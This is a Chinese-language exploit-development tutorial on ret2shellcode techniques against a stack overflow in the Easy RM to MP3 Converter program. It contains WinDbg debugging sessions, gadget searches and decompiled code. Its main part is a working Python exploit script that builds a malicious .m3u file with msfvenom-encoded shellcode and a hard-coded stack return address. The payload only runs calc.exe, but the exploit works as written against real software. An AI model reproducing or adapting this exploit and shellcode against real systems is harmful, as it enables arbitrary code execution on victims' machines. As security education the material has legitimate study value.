0x00 环境搭建

Part2作为Part1的延续,在Part1基础的栈溢出漏洞上,介绍了几种ret2shellcode的方法,所以安全机制依旧是全关。虽然最终是跳转shellcode执行,但其中也掺杂了一些gadget选取和rop链的构造思想,有些地方还需要进一步的逆向和尝试,遂成此文。

0x01 跳转方式

call [reg]

在前文的漏洞环境中,和shellcode地址直接相关的便是esp寄存器,劫持eip跳转执行shellcode,比较容易想到的方法是jmp espcall esp,在dll中寻找特定字节码的方法在原文中也已经提到过,照葫芦画瓢即可:

(fd4.21c): Break instruction exception - code 80000003 (first chance)
eax=7ffaa000 ebx=00000000 ecx=00000000 edx=77f5f125 esi=00000000 edi=00000000
eip=77ef40f0 esp=049fff5c ebp=049fff88 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
ntdll!DbgBreakPoint:
77ef40f0 cc              int     3
0:017> a
77ef40f0 call esp
call esp
77ef40f2 

0:017> u 77ef40f0 L1
ntdll!DbgBreakPoint:
77ef40f0 ffd4            call    esp
0:017> lm m kernel32
start    end        module name
77de0000 77eb4000   kernel32   (pdb symbols)          c:\myserversymbols\kernel32.pdb\D4AC3906D49D487B9F69F9326A7D206A2\kernel32.pdb
0:017> s 77de0000 77eb4000 ff d4
77e9f7df  ff d4 fc 0b 00 10 10 00-00 28 04 0c 00 ff ff ff  .........(......
0:017> u 77e9f7df L1
kernel32!$$VProc_ImageExportDirectory+0xa81b:
77e9f7df ffd4            call    esp

使用msfpescan也能在dll中寻找想要的gadget,exploit过程类似,往下不再重复赘述。

pop ret

如果将pop ret中的ret作为rop的链接者,那么pop起到的作用就有两点:

  1. 增加esp,降低栈顶,略过栈上无效数据。
  2. 如果栈上有后续exploit相关的数据(如指向shellcode的地址),pop该数据至寄存器中,可为其后的gadget所用。

原文中假象场景后,使用pop pop ret加上jmp esp完成了漏洞利用。

push return

push ret也是另一种劫持eip的方法,要push的数据还是得和我们的利用场景相关,原文中使用的push esp; retjmp esp的效果是一样的。

jmp [reg]+[offset]

原文中此方法的适用场景是某个寄存器的值位于shellcode(或关键代码)地址附近,需要增加一个偏移再跳转过去,但此类的gadget可能不是太好找。如果该寄存器是esp,增加偏移的操作可由pop或push代替;其他寄存器的话,增加偏移可由add或inc代替。总之,将复杂的gadget拆分替换成小的gadget可能更加容易寻找。

blind return

原文中场景是覆盖eip后还能控制esp指向的4字节,但这和原来的ret 4有些矛盾了。既然是盲跳,感觉直接将eip覆盖为栈地址即可,也可能是我对于ret gadget加栈地址的适用场景理解不深刻。对于场景的理解有时候也是漏洞利用的突破点,这里覆盖eip为栈地址并非如原文所说是无法实现的,后文会逆向利用尝试一下。

dealing with small buffers

在这里原文还是jump esp后执行汇编代码,不过存放此汇编代码的缓冲区设得比较小,作者就使用add esp; jump esp的方法最终跳转至shellcode。此处的shellcode为应用程序将栈上低地址处的padding拷贝至栈上高地址的数据,copy过程中具体的源地址和目标地址的偏移还有待我们逆向考证一番。

先看看栈上高地址处copy padding的偏移是多少:

with open("pattern.txt", "r") as f:
    pattern = f.read().strip()
padding = "A" * (20000+1107)
ret = "\xd8\x2f\xeb\x77" # int 3

payload = pattern + padding +ret

with open("crash.m3u", "w") as f:
    f.write(payload)

触发断点后查看栈上数据,偏移居然是0,也就是直接从头copy了一部分的padding,而原文中是因为payload尾部的nop过长,造成了一种截断的假象:

eax=00000001 ebx=00104a1c ecx=77f16570 edx=018505c0 esi=6fff2960 edi=000065ff
eip=77eb2fd8 esp=000ffcc4 ebp=00104604 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
kernel32!WakeConditionVariable+0x13839:
77eb2fd8 cc              int     3
0:000> d esp-8
000ffcbc  d8 2f eb 77 00 46 10 00-01 00 00 00 00 00 00 00  ./.w.F..........
000ffccc  4c 00 35 00 1c 4a 10 00-00 00 00 00 00 00 00 00  L.5..J..........
000ffcdc  41 61 30 41 61 31 41 61-32 41 61 33 41 61 34 41  Aa0Aa1Aa2Aa3Aa4A
000ffcec  61 35 41 61 36 41 61 37-41 61 38 41 61 39 41 62  a5Aa6Aa7Aa8Aa9Ab
000ffcfc  30 41 62 31 41 62 32 41-62 33 41 62 34 41 62 35  0Ab1Ab2Ab3Ab4Ab5
000ffd0c  41 62 36 41 62 37 41 62-38 41 62 39 41 63 30 41  Ab6Ab7Ab8Ab9Ac0A
000ffd1c  63 31 41 63 32 41 63 33-41 63 34 41 63 35 41 63  c1Ac2Ac3Ac4Ac5Ac
000ffd2c  36 41 63 37 41 63 38 41-63 39 41 64 30 41 64 31  6Ac7Ac8Ac9Ad0Ad1

观察栈帧的高低关系可以推断,先调用了某函数copy一部分padding至栈上,然后才调用的漏洞函数触发了栈溢出。因为还是没开任何安全机制,所以栈地址是不会发生变化的。老套路在000ffcdc处下硬件断点,在触发断点过程中可以根据汇编指令推断是否为我们要找的触发点,同时回溯栈帧也有助于我们的分析:

eax=7ffaa000 ebx=00000000 ecx=00000000 edx=77f5f125 esi=00000000 edi=00000000
eip=77ef40f0 esp=04b4ff5c ebp=04b4ff88 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Windows\SYSTEM32\ntdll.dll - 
ntdll!DbgBreakPoint:
77ef40f0 cc              int     3
0:017> ba w 1 000ffcdc
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Windows\system32\kernel32.dll - 
0:017> bl
 0 e 000ffcdc w 1 0001 (0001)  0:**** 
0:017> g
Breakpoint 0 hit
eax=00000000 ebx=00104a1c ecx=000000ff edx=00104604 esi=00000000 edi=000ffce0
eip=0041b820 esp=000ffcc4 ebp=00104604 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
*** WARNING: Unable to verify checksum for C:\Program Files\Easy RM to MP3 Converter\RM2MP3Converter.exe
*** ERROR: Module load completed but symbols could not be loaded for C:\Program Files\Easy RM to MP3 Converter\RM2MP3Converter.exe
RM2MP3Converter+0x1b820:
0041b820 f3ab            rep stos dword ptr es:[edi]
0:000> d 000ffcdc
000ffcdc  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
000ffcec  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
000ffcfc  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
000ffd0c  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
000ffd1c  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
000ffd2c  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
000ffd3c  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
000ffd4c  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0:000> g
Breakpoint 0 hit
eax=00000041 ebx=00000400 ecx=000ffcdc edx=77f070b4 esi=6fff2960 edi=00000400
eip=6ff6f577 esp=000ffc2c ebp=000ffc48 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Windows\system32\msvcrt.dll - 
msvcrt!fread+0x1af:
6ff6f577 8b4618          mov     eax,dword ptr [esi+18h] ds:0023:6fff2978=00001000
0:000> k
ChildEBP RetAddr  
WARNING: Stack unwind information not available. Following frames may be wrong.
000ffc48 6ff6f455 msvcrt!fread+0x1af
000ffc90 6ff6f3e0 msvcrt!fread+0x8d
000ffcac 0041b9dc msvcrt!fread+0x18
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Windows\system32\USER32.dll - 
00104620 77d45aa7 RM2MP3Converter+0x1b9dc
0010465c 77d37206 USER32!CreateDialogParamW+0x477
00104678 77d2c4e7 USER32!DefDlgProcA+0x22
001046ac 77d1bb87 USER32!gapfnScSendMessage+0x1cf
001046b4 77d2c641 USER32!DefWindowProcA+0x6b
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Windows\system32\MFC42.DLL - 
0010476c 718a3335 USER32!gapfnScSendMessage+0x329
00104a1c 00000000 MFC42!Ordinal2385+0x2a
0:000> g
(684.e84): Break instruction exception - code 80000003 (first chance)
eax=00000001 ebx=00104a1c ecx=77f16570 edx=006905c0 esi=6fff2960 edi=000065ff
eip=77eb2fd8 esp=000ffcc4 ebp=00104604 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
kernel32!WakeConditionVariable+0x13839:
77eb2fd8 cc              int     3
0:000> d 000ffcdc
000ffcdc  41 61 30 41 61 31 41 61-32 41 61 33 41 61 34 41  Aa0Aa1Aa2Aa3Aa4A
000ffcec  61 35 41 61 36 41 61 37-41 61 38 41 61 39 41 62  a5Aa6Aa7Aa8Aa9Ab
000ffcfc  30 41 62 31 41 62 32 41-62 33 41 62 34 41 62 35  0Ab1Ab2Ab3Ab4Ab5
000ffd0c  41 62 36 41 62 37 41 62-38 41 62 39 41 63 30 41  Ab6Ab7Ab8Ab9Ac0A
000ffd1c  63 31 41 63 32 41 63 33-41 63 34 41 63 35 41 63  c1Ac2Ac3Ac4Ac5Ac
000ffd2c  36 41 63 37 41 63 38 41-63 39 41 64 30 41 64 31  6Ac7Ac8Ac9Ad0Ad1
000ffd3c  41 64 32 41 64 33 41 64-34 41 64 35 41 64 36 41  Ad2Ad3Ad4Ad5Ad6A
000ffd4c  64 37 41 64 38 41 64 39-41 65 30 41 65 31 41 65  d7Ad8Ad9Ae0Ae1Ae

由此可知是一个fread函数往栈上读取数据,具体可以定位至RM2MP3Converter+0x1b9dc

FILE *__thiscall sub_41B7E0(void *this, char *Str)
{
  //......
  char DstBuf; // [sp+18h] [bp-490Ch]@1
  unsigned int v36; // [sp+418h] [bp-450Ch]@1
  char ArgList; // [sp+41Ch] [bp-4508h]@8
  char v38; // [sp+2724h] [bp-2200h]@1

  v2 = this;
  result = 0;
  memset(&v38, 0, 0x2200u);
  memset(&v36, 0, 0x230Cu);
  memset(&DstBuf, 0, 0x400u);
  if ( Str )
  {
    //......
    if ( sub_431330(Str) )
      goto LABEL_42;
    result = fopen(Str, aRb);
    v5 = result;
    if ( !result )
      return result;
    fread(&DstBuf, 1u, 0x400u, result);
    if ( fseek(v5, 0, 2) )
      return 0;
    v6 = ftell(v5);
    fclose(v5);
    if ( v6 <= 0x40000 )
    {
LABEL_42:
      sub_418D30(2);
      sub_41E2B0(v2, Str);
      result = (FILE *)1;
    }
    //......
  }
  return result;
}

在函数中fread读取了0x400字节至sp+18h,随后调用漏洞函数sub_41E2B0并push了一个参数,栈帧大小和布局和前文的dump完全一致:

.text:0041BCEF
.text:0041BCEF loc_41BCEF:
.text:0041BCEF push    2
.text:0041BCF1 mov     ecx, ebx
.text:0041BCF3 call    sub_418D30
.text:0041BCF8 push    ebp
.text:0041BCF9 mov     ecx, ebx
.text:0041BCFB call    sub_41E2B0

又多看了眼漏洞函数,在尾部有对局部变量Str清零的操作:

signed int __thiscall sub_41E2B0(void *this, const char *a2)
{
  //......
  char Str; // [sp+2328h] [bp-6600h]@3
  char v51; // [sp+232Bh] [bp-65FDh]@13
  char v52[8704]; // [sp+4528h] [bp-4400h]@3
  char v53; // [sp+6728h] [bp-2200h]@8

  //......
LABEL_7:
    strcpy(&ArgList, a2);
    v10 = *(_DWORD *)((char *)v2 + 137542);
    v47 = strlen(a2);
    sub_422E90(v10, 1, &v47);
    return 1;
  }
  memset(&v53, 0, 0x2200u);
  while ( (*(int (__cdecl **)(char *))((char *)v2 + 25714))(&Str) )
  {
    //......
LABEL_56:
    memset(&Str, 0, 0x400u);
  }
  (*(void (**)(void))((char *)v2 + 25710))();
  result = 1;
  dword_47BEA8 = 1;
  return result;
}

调试验证也是如此,其后依旧跟着许多”A”,感兴趣的同学也可以试试在这里放置shellcode跳转执行:

0:000> d esp-8-6600+400-20
000f9a9c  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
000f9aac  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
000f9abc  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000f9acc  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000f9adc  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000f9aec  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000f9afc  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000f9b0c  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA

既然函数调用过程中会fread起始的0x400字节,那么就在此处填充shellcode,直接覆盖eip为固定的栈地址,同样也是可以利用成功的:

ret = "\xdc\xfc\x0f\x00"  # 000ffcdc

# msfvenom -a x86 --platform Windows -p windows/exec CMD=calc.exe -e x86/shikata_ga_nai -b '\x00' -f python -v shellcode -n 16
# Found 1 compatible encoders
# Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
# x86/shikata_ga_nai succeeded with size 220 (iteration=0)
# x86/shikata_ga_nai chosen with final size 220
# Successfully added NOP sled from x86/single_byte
# Payload size: 236 bytes
# Final size of python file: 1280 bytes
shellcode =  ""
shellcode += "\x4b\x91\x93\x92\xd6\x9f\x4b\x98\x41\xf9\xf8\xf9"
shellcode += "\xfc\x49\x4a\x27\xbb\x7b\xc9\xb4\x48\xd9\xcd\xd9"
shellcode += "\x74\x24\xf4\x58\x29\xc9\xb1\x31\x31\x58\x13\x03"
shellcode += "\x58\x13\x83\xc0\x7f\x2b\x41\xb4\x97\x29\xaa\x45"
shellcode += "\x67\x4e\x22\xa0\x56\x4e\x50\xa0\xc8\x7e\x12\xe4"
shellcode += "\xe4\xf5\x76\x1d\x7f\x7b\x5f\x12\xc8\x36\xb9\x1d"
shellcode += "\xc9\x6b\xf9\x3c\x49\x76\x2e\x9f\x70\xb9\x23\xde"
shellcode += "\xb5\xa4\xce\xb2\x6e\xa2\x7d\x23\x1b\xfe\xbd\xc8"
shellcode += "\x57\xee\xc5\x2d\x2f\x11\xe7\xe3\x24\x48\x27\x05"
shellcode += "\xe9\xe0\x6e\x1d\xee\xcd\x39\x96\xc4\xba\xbb\x7e"
shellcode += "\x15\x42\x17\xbf\x9a\xb1\x69\x87\x1c\x2a\x1c\xf1"
shellcode += "\x5f\xd7\x27\xc6\x22\x03\xad\xdd\x84\xc0\x15\x3a"
shellcode += "\x35\x04\xc3\xc9\x39\xe1\x87\x96\x5d\xf4\x44\xad"
shellcode += "\x59\x7d\x6b\x62\xe8\xc5\x48\xa6\xb1\x9e\xf1\xff"
shellcode += "\x1f\x70\x0d\x1f\xc0\x2d\xab\x6b\xec\x3a\xc6\x31"
shellcode += "\x7a\xbc\x54\x4c\xc8\xbe\x66\x4f\x7c\xd7\x57\xc4"
shellcode += "\x13\xa0\x67\x0f\x50\x5e\x22\x12\xf0\xf7\xeb\xc6"
shellcode += "\x41\x9a\x0b\x3d\x85\xa3\x8f\xb4\x75\x50\x8f\xbc"
shellcode += "\x70\x1c\x17\x2c\x08\x0d\xf2\x52\xbf\x2e\xd7\x30"
shellcode += "\x5e\xbd\xbb\x98\xc5\x45\x59\xe5"

padding = "A" * (0x6600-5-len(shellcode))

# with open("pattern.txt", "r") as f:
#     pattern = f.read().strip()

payload = shellcode + padding + ret

with open("crash.m3u", "w") as f:
    f.write(payload)

other jumps

个人觉得这一段还是在说,劫持eip可以执行我们的汇编代码后,手工编写jump2shellcode的一些方法:

  1. 使用popad指令高效增加栈地址,随后jump esp
  2. 直接jump硬编码地址。
  3. 使用近跳\xe9、远跳\xea、短跳\xeb负值。
  4. 也可以考虑使用条件跳转相关指令。

0x02 总结

整个原文有趣的是,在开始处提了几笔shellcode编码和填充nop的事情,中间也说了一下软件dll rebase可能会导致地址不靠谱,用系统dll比较稳一点,看来之前的磨刀并没有耽误砍柴工。

这一章就是要跳转至shellcode执行,这个事分为两步,一个是寻找跳转的指令,一个是寻找跳转的地址。私以为漏洞利用的水平取决于,对软件功能点逆向的熟悉度,对漏洞上下文环境的观察度,对漏洞利用技巧的掌握度,整体思路的把握度再加上一点点创新度,仅此而已,聊以共勉。